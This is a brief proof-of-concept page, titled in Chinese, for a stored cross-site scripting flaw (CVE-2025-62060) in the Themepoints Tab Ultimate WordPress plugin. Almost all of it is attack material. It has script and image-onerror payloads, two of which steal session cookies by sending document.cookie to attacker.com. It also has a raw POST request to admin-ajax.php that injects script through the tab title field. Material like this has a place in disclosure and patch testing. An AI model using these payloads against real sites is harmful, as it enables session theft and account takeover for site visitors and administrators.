CVE-2025-62060 Themepoints Tab Ultimate插件跨站脚本(XSS)漏洞

<!-- CVE-2025-62060 PoC - Stored XSS in Tab Ultimate Plugin --> <!-- Attacker injects malicious JavaScript in tab name field --> <!-- Payload to inject --> <script>alert(document.cookie)</script> <!-- More sophisticated payload for cookie stealing --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Example: Create a new tab with XSS payload --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=tu_save_tab&tab_title=<script>alert('XSS')</script>&tab_content=malicious_content <!-- When victim visits page with the malicious tab, the script executes --> <!-- The cookie stealing payload sends session cookies to attacker --> <img src=x onerror="var xhr=new XMLHttpRequest();xhr.open('GET','https://attacker.com/log?c='+btoa(document.cookie),true);xhr.send();">